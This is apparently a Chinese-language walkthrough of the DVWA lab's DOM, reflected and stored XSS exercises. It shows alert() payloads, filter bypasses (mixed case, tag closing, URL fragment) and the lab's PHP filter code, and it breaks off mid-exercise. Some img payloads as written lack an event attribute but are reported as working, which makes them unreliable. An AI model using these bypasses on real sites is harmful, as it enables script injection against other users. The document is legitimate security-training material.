XSS(DOM)
LOW
这个难度极其简单,直接url注入一个scrip的命令?default=<script>alert('hacked')</script>
medium
首先,用low的情况加个大小写混写,看看情况。
?default=<scrIPT>alert("hack")</SCRipt>
结果:
结果直接把我的代码给去掉了,再猜一下别的代码。
?default=<img src=0 "alert('hacked')"/>
结果:
看来,应该是将script过滤了,但是并未弹窗,让我看一下代码。
可以看出,输入的命令被包含到了value中,那就把value闭合一下看看。
?default="><img src=0 "alert('hacked')"/>
仍未弹窗,看一下情况
这里只有开头字符被提取。看一下提取的方法:
这里只看到了对option处理,但是不知道为什么单单闭合option标签仍会无效。
既然如此,便用干脆将整个select都闭合
?default="></option></select><img src=0 "alert('hacked')"/>
成功。
那么来看看php代码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
果然,是过滤了script
high
这个难度让我有点慌,先看一下php代码吧<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
。。。。。。本来已经放弃了,不过突然想到一个东西,让我试试
?default=English#<script>alert('hacked')</script>
成功。
XSS (Reflected)
low
low级别,直接用script代码<script>alert('hacked')</script>
EZ
medium
先是script看一下过滤。<scripT>alert(1)</scripT>
…好吧,看来只是过滤了script直接大小写绕过
php代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
high
惯例,先script代码看看过滤<scriPt>alert('hacked')</sCript>
果然,被过滤了。那么试一试img
<img src=1 "alert('hacked')">
成功,那么php应该只是过滤了scrip标签。
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
果然,是用了正则表达式
XSS (Stored)
low
这个难度肯定是不设防,直接上<script>alert('hacked')</script>
成功:
medium
老样子,先试一试过滤


看来是不区分大小写的过滤,那试试双写绕过?


好吧,看来不行啊。。。虽然想试试三写,不过先看一下name能不能搞一搞
